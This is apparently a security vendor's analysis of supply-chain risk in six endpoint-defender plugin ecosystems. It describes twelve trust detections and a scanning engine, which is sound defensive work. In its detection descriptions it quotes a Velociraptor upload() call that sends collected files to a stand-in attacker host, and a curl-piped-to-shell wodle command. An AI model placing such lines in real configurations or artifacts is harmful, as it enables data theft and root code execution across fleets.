The Plugin Problem: Six Defender Ecosystems and Their Single-Approver Risk

1. The plugin attack surface

Modern endpoint defenders are extensible by design. That is the marketing copy. The unspoken corollary is that every extensibility seam is a code path the defender will load, parse, or execute on your behalf, and most of those seams reach across the public internet to a third-party registry whose trust posture you have never audited.

Falco loads OCI-packaged plugins from artifacts.falcosecurity.org via falcoctl. CrowdSec scenarios, parsers, and post-overflow logic ship from hub.crowdsec.net via cscli hub upgrade. Wazuh wodles -- short for "modules" -- run as root on every agent and execute whatever shell command an operator drops into <command>. Velociraptor agents pull DFIR artifacts from the Velocidex exchange (docs.velociraptor.app/exchange/), each artifact being VQL that runs with SYSTEM or root privileges on every endpoint that triggers a hunt. GRR Rapid Response consumes forensic artifact YAMLs from github.com/ForensicArtifacts/artifacts and shells out via subprocess for any COMMAND-type source. OSSEC's ruleset, today maintained downstream of Wazuh's fork, still gets pulled into legacy installs from github.com/ossec/ossec-hids/etc/rules.

Six ecosystems. Six trust models. Zero of them, in their default operator-tooling configurations, enforce all of: signature verification on the index, two-approver review on the manifest, dormancy checks on maintainer accounts, and threshold-pin review on each upgrade. Most enforce one of those four. Several enforce none.

This piece is not a vulnerability disclosure for any single plugin. It is a structural argument: when a defender's own extension marketplace can be poisoned upstream, the in-band controls on the defender are downstream of an unaudited supply chain. CrowdSec scenarios, Falco rules, Wazuh wodles, Velociraptor exchange artifacts, GRR forensic YAMLs, OSSEC rulesets -- every one of them is code an attacker who controls the registry can ship straight into a privileged position on your hosts.

2. Six ecosystems, six trust models

We built an inventory of the six plugin ecosystems our scanner enumerates. The shapes are different in instructive ways. Manifest format, signing posture, maintainer count, and OWNERS approval threshold all vary, and the gap between "ecosystem promises a control" and "default operator config enforces it" is wider than any of these projects' docs make obvious.

| Ecosystem | Registry URL | Manifest format | Supports signing | Median maintainers per plugin | OWNERS approval threshold | Dormancy class observed | |---|---|---|---|---|---|---| | Falco artifacts hub | https://artifacts.falcosecurity.org/index.yaml (and the OCI registry behind it) | YAML index over OCI tarballs | Yes -- Cosign on index.yaml.sig, default is verifySignature: false in operator-copied configs | 2 (long tail = 1) | Formally two approvers; long-tail plugins ship with single-name OWNERS files | Multiple OWNERS-listed accounts inactive > 12 months observed | | Wazuh wodles | api.github.com/repos/wazuh/wazuh/contents/wodles | XML (<wodle> blocks inside ossec.conf) | No (no signing on per-wodle script content) | n/a (operator-authored) | n/a (operator-authored) | n/a | | Velociraptor exchange | docs.velociraptor.app/exchange/index.json (mirror at github.com/Velocidex/velociraptor-docs/tree/master/content/exchange) | VQL inside YAML | No | 1 (most exchange artifacts are single-author) | None enforced; contributor model | Several contributors with last public event > 12 months | | CrowdSec hub | https://hub.crowdsec.net/.index.json (CDN at hub-cdn.crowdsec.net) | YAML scenarios / parsers | Yes -- signature verification supported in cscli >= 1.6.x, default-off in older configs | 2-3 for core scenarios, 1 for community | Two-reviewer for crowdsecurity/*, single-reviewer common for community contributions | Long-tail community authors > 12 months inactive | | GRR forensic artifacts | api.github.com/repos/ForensicArtifacts/artifacts/contents/data | YAML | No (no per-artifact signing; repo-level commit signing only) | 2-4 for ForensicArtifacts core | Two reviewers for the canonical repo, but operators commonly fork and self-maintain | Forks with no upstream activity for years are common | | OSSEC rulesets | api.github.com/repos/ossec/ossec-hids/contents/etc/rules | XML | No | 1-2 (project is in maintenance mode) | None enforced | OSSEC HIDS itself is largely dormant; Wazuh fork is where active development lives |

Three observations.

First, the only two ecosystems that can sign their index -- Falco and CrowdSec -- both ship default configurations where signature verification is off. Operators who copy the documented examples inherit the unsigned-trust default unless they explicitly add verifySignature: true (Falco) or hub.signature_verification: true (CrowdSec).

Second, Wazuh wodles, GRR artifacts, and Velociraptor exchange artifacts have no per-content signature mechanism at all. The defender consumes the file, parses it, and executes its instructions. The only trust boundary is the GitHub repository's commit history, and you have to opt into auditing it.

Third, "OWNERS approval threshold" is the most consistently weak control. Falco's review process formally requires two approvers; in practice we have seen long-tail Falco plugins where the OWNERS file lists exactly one GitHub account. CrowdSec hub follows the same shape: two reviewers for first-party scenarios, single-reviewer common for the community contributions that get auto-installed when an operator runs cscli scenarios install crowdsecurity/long-tail-scenario. Velociraptor exchange artifacts have no formal review threshold at all -- the contributor model is one-author, no second pair of eyes.

3. The 12 trust failures we test for

The Plugin Trust Auditor scanner ships twelve detections, indexed ENDPOINT-PLUGIN-TRUST-001 through ENDPOINT-PLUGIN-TRUST-012. Each is grounded in an observed pattern across the six ecosystems above. Together they form the static-analysis half of the auditor; the engine described in the next section runs the continuous-monitoring half.

ENDPOINT-PLUGIN-TRUST-001 -- Falco artifacts hub index over an unsigned channel. The probe inspects /etc/falcoctl/falcoctl.yaml (or the helm-shipped values) for index entries that pull from HTTP-only or non-Cosign-verified registries. The default falcoctl supports a Cosign signature on the index; operators commonly disable verification when they copy examples from blog posts. An attacker who controls DNS for artifacts.falcosecurity.org (or any operator-pinned mirror) publishes a malicious index.yaml shipping a poisoned plugin tarball. Falco loads the plugin into the userspace daemon and executes attacker code with the privileges of the Falco service.

ENDPOINT-PLUGIN-TRUST-002 -- Falco plugin OWNERS file with a single approver. For each customer-installed Falco plugin, fetch plugins/<name>/OWNERS from falcosecurity/plugins via raw.githubusercontent.com, parse the YAML, count approvers. List length of one means a single GitHub account compromise yields a malicious release. Falco's review process formally requires two approvers, but several long-tail plugins ship with a single-name OWNERS file. When the attacker owns that one account, the falcoctl signature verification still passes because the signature is over the malicious blob.

ENDPOINT-PLUGIN-TRUST-003 -- Velociraptor exchange artifact uploads to a non-Velocidex host. Walk the published exchange directory at Velocidex/velociraptor-docs/content/exchange/ for VQL containing upload() or http_client(url=...) calls whose destination hostname is not in the Velocidex / Rapid7 allowlist. Velociraptor artifacts run with the agent's privileges -- SYSTEM on Windows, root on Linux. An artifact that calls upload(file=..., url='https://attacker.tld/up') exfiltrates whatever the analyst collects: memory dumps, registry hives, browser credentials. Storm-2603 used a near-identical pattern in the August 2025 ransomware campaign. The artifact is signed only by the exchange contributor, not by Velocidex.

ENDPOINT-PLUGIN-TRUST-004 -- Velociraptor artifact precondition gated on server OS only. Static YAML walk for precondition: blocks whose VQL only checks server_config.OS or server_config.platform without verifying client-side facts. An attacker who controls the server response can satisfy the precondition and bypass dry-run safety checks. Combined with a destructive artifact (Windows.Remediation.QuarantineProcessTree) and a server compromise (CVE-2025-6264, CVE-2026-5329), the blast radius is fleet-wide.

ENDPOINT-PLUGIN-TRUST-005 -- CrowdSec scenario threshold drift after a hub upgrade. Compare every installed scenario's threshold: and leakspeed: against the previous version. A drift greater than 50 percent relaxation in either direction is a high-confidence signal that the scenario was modified upstream to be less aggressive. The CrowdSec UI still shows "scenario installed" so it looks like coverage is intact -- it isn't. The http-cve-probing scenario was relaxed in late 2024 specifically to reduce false positives, and that change removed a class of low-and-slow recon detection. Most operators run cscli hub upgrade on an automated schedule and never see the diff.

ENDPOINT-PLUGIN-TRUST-006 -- CrowdSec hub upgrade without cscli signature verify. Inspect /etc/crowdsec/config.yaml for hub.signature_verification. If unset, false, or absent (older cscli), every cscli hub upgrade blindly trusts whatever blob the GitHub mirror serves. A CDN poisoning attack against hub-cdn.crowdsec.net, or any GitHub-side compromise, ships malicious scenario YAML, parser regex, or postoverflow logic into every CrowdSec deployment that runs hub upgrade during the attack window.

ENDPOINT-PLUGIN-TRUST-007 -- Wazuh wodle <command> containing curl|wget piped to a shell. Static grep across the customer-supplied ossec.conf for <wodle name="command"> blocks whose <command> value contains curl http://example/script.sh | sh. Wazuh wodles execute as root on the agent. The wodle re-fetches the script every poll interval, so a single supply-chain compromise of the upstream URL is fleet-wide root RCE -- the defender's own configuration becomes the persistence mechanism.

ENDPOINT-PLUGIN-TRUST-008 -- Wazuh wodle-aws inline credential keys. Static grep across ossec.conf for <wodle name="aws-s3"> and <wodle name="aws-cloudtrail"> blocks containing literal <access_key> / <secret_key> values. The IRSA / instance-profile shape has been documented since 2021; inline keys are the legacy default that long outlived its security relevance. The keys live in plaintext in a config file replicated across every Wazuh manager, granting whatever IAM permissions the user owns -- often broader than CloudTrailReadOnly.

ENDPOINT-PLUGIN-TRUST-009 -- GRR artifact YAML COMMAND source with shell metacharacters. Walk the GRR artifact YAML inventory for sources: of type COMMAND whose cmd: or args: contain ;, |, &, $(, backticks, >, or <. GRR shells out via subprocess; metacharacters in the artifact let anyone who can submit a forensic collection request execute arbitrary commands as the GRR client agent (SYSTEM on Windows, root on Linux). Fleet-wide RCE through the DFIR tool.

ENDPOINT-PLUGIN-TRUST-010 -- GRR artifact YAML FILE source path traversal. Walk artifact YAMLs for sources: of type FILE whose paths: contains ..\..\ or ../ segments, or unbounded glob patterns like %%users.homedir%%/../../*. The path resolver expands these client-side. In multi-team DFIR shops it lets analyst-A read files scoped to analyst-B's hunt; in MSSP deployments it leaks customer-A evidence to a customer-B-scoped analyst -- a GDPR, SOX, and HIPAA disclosure trigger.

ENDPOINT-PLUGIN-TRUST-011 -- Decoder/parser regex catastrophic backtracking. Static grep across Wazuh decoders.d/.xml and CrowdSec parsers/s00-raw/.yaml and parsers/s01-parse/.yaml for nested-quantifier patterns: (a+)+, (a)+, (a+), (?:a+)+, (a|a)+. Crucially, the patterns are matched as strings only*; the scanner never compiles or executes them. A single ReDoS-vulnerable decoder regex can lock Wazuh analysisd or the CrowdSec parser into multi-second CPU spins per crafted input, creating a fleet-wide SIEM blackout while the attacker proceeds. The defender's own log-ingestion pipeline becomes a DoS amplifier whose blackout window correlates exactly with the attacker's exploitation phase.

ENDPOINT-PLUGIN-TRUST-012 -- Plugin maintainer account dormant for more than 12 months. For each maintainer in an OWNERS file, fetch the GitHub user's most recent public-event timestamp via api.github.com/users/<login>/events/public. Last public activity older than 12 months indicates an account that may have been abandoned, taken over, or whose 2FA may not be actively monitored -- a high-yield target for credential-stuffing. The canonical reference cases are event-stream (npm, 2018), node-ipc (2022), and ctx (PyPI, 2022): in each, a dormant maintainer's account became the supply-chain delivery vehicle.

4. PTA -- automating ongoing audit

The twelve detections above are point-in-time. The Plugin Trust Auditor (PTA) is the engine that turns them into continuous monitoring -- it inventories the six ecosystems, scores maintainer hygiene, diffs manifest snapshots, and maps the privileged-primitive surface each plugin exposes.

The engine surface is four dataclasses and one class. PluginEcosystem records a single defender ecosystem (name, registry URL, manifest format, signing support). PluginRecord is one plugin in an ecosystem's manifest snapshot (ecosystem, plugin id, version, owners list, last-commit timestamp, 2FA status, the set of privileged primitives it uses). MaintainerHygieneScore is a [0, 1] score plus a list of red flags. DriftEvent is a typed change between two snapshots: threshold_drift, new_outbound, new_command, or new_primitive.

PluginTrustEngine exposes five operations. enumerate_ecosystems() returns the six hardcoded ecosystems above. inventory(ecosystem) issues a single HTTPS GET against the registry URL and parses the normalized JSON manifest -- failures (timeout, 4xx, 5xx, malformed JSON) return an empty list so the wider snapshot still folds. score_hygiene(record) deducts a fixed share of the score per red flag (no owners, single owner, dormant > 12 months, no 2FA, 2FA unknown) so any three flags collapses the hygiene score to roughly zero, clamped to [0, 1]. compute_drift(prev, curr) diffs two snapshots and emits DriftEvents. And extract_privileged_primitives(plugin_source) does the static-grep surface mapping.

The privileged-primitive vocabulary is four classes: shell_exec, http_outbound, file_write, and raw_socket. Each class is detected by a curated list of literal substring needles -- shell-exec catches the canonical interpreter and process-launch shapes (subprocess, language-specific Runtime.exec idioms, direct /bin/sh invocations); http-outbound catches the standard HTTP client surfaces in Python, Node, Go, and shell (curl|wget piped or direct, requests, urllib, http.client, fetch); file-write catches the standard file-open and redirection shapes; and raw-socket catches AF_PACKET/AF_RAW/SOCK_RAW shapes. We do not publish the full needle list; the categories above are the public contract, the exact strings are the part of the static-analysis configuration we treat as tunable.

Note what the engine does not do. It never compiles a regex against plugin source. It never executes the source. It never calls eval or exec. The patterns are literal substrings searched with str.find. This is deliberate: compiling regex against attacker-controlled input re-introduces the catastrophic-backtracking risk we test for in ENDPOINT-PLUGIN-TRUST-011. The static-grep contract is the same one our wazuh_chain_scanner enforces for its ReDoS pattern list.

The drift detector is similarly defensive. Threshold values are pulled out of version strings with substring scans, not regex, because version strings flow in from upstream registries and we will not pay the backtracking risk for a single-key extraction. The diff is by plugin_id: a primitive newly present in curr but absent in prev becomes a DriftEvent. Newly-present http_outbound and shell_exec are scored at high severity -- a plugin that did not talk to the internet or shell yesterday and does today is news. Other newly-present primitives are scored at medium. Threshold relaxation is medium because the supply-chain side handles introduction events.

Run the engine on a daily cron. The output is a delta report. The Triage Analyst gets (plugin_id, kind, before, after) tuples and decides whether the change is benign tuning or an indicator of upstream compromise.

5. What to ask your plugin authors

You have a list of plugins. Some you wrote, most you didn't. The supply-chain question is not "are these plugins safe today" -- it's "what is the social and procedural perimeter around each plugin's release pipeline, and how thick is it." Five questions, one per plugin, will get you most of the way there.

1. How many approvers are listed in the OWNERS file? A single approver is a single point of failure. If a phishing campaign or session-hijack against that one GitHub account succeeds, the attacker ships the next release. Two approvers raise the cost meaningfully; three or more is the floor for any plugin you depend on across more than a handful of hosts. If the answer is one, fork the plugin to a hardened internal account, add branch protection requiring two reviewers, and pin to your fork.

2. Is two-factor authentication enforced for the OWNERS-listed maintainers? GitHub now mandates 2FA for accounts contributing to most public repos, but the enforcement varies by org and by the maintainer's account creation date. Ask. If the project doesn't know, that itself is the answer. The PTA's score_hygiene deducts for no_2fa and 2fa_unknown because the latter is operationally indistinguishable from the former.

3. When was the last commit by each OWNERS-listed maintainer? Last public-event timestamp older than 12 months puts the account in the dormancy class -- the canonical npm event-stream, node-ipc, and PyPI ctx shape. Active maintainers notice when their accounts get hijacked. Dormant maintainers don't.

4. What is the project's signing posture? Does the index ship a Cosign signature? Is there a per-release detached signature with a documented public key? Is the operator-side default to verify? Falco and CrowdSec both support signature verification, both default to off in operator-copied configs. "Supported" is not "enforced." The question for each plugin you depend on is: if the registry served a malicious blob to my agent right now, what control would prevent the agent from loading it?

5. Are threshold values pinned by hash, and is the hash committed alongside the upgrade record? This is the question almost no one asks, and it is the one that catches the slow-drift class of supply-chain attack. CrowdSec scenario thresholds drift between hub commits. Wazuh decoder regex changes. Velociraptor artifact preconditions get tweaked. If your operator process is cscli hub upgrade on a weekly cron with no diff review, the upgrade is invisible unless you snapshot before-and-after and compute the drift. Pin the hub commit. Snapshot the threshold values. Diff weekly.

These five questions are not a full audit. They are the floor. A plugin author who can answer all five clearly is a plugin author who has thought about supply-chain risk; a plugin author who can't is one whose plugin you should not be auto-loading on every host you operate.

6. Closing

The defender industry talks about attack surface as if it stops at the host boundary. It doesn't. Every Falco plugin, CrowdSec scenario, Wazuh wodle, Velociraptor artifact, GRR YAML, and OSSEC ruleset is an extension of your trust perimeter into a third-party social graph -- the maintainers, their accounts, their 2FA hygiene, their dormancy, and the procedural review threshold around each plugin's releases. If any node in that graph compromises, the defender becomes the delivery mechanism for the attack it was supposed to catch.

The twelve ENDPOINT-PLUGIN-TRUST detections and the Plugin Trust Auditor engine are our attempt to make that graph legible. They will not eliminate plugin risk -- nothing eliminates supply-chain risk -- but they replace the implicit "we trust the registry" with an explicit, measured, repeatable score, and they do it without ever executing or regex-compiling against attacker-controlled input. Run them. Diff the output weekly. Ask your plugin authors the five questions. The plugins you depend on are code you didn't write, running with privileges you wouldn't grant a human contractor without a background check. They deserve at least that level of scrutiny.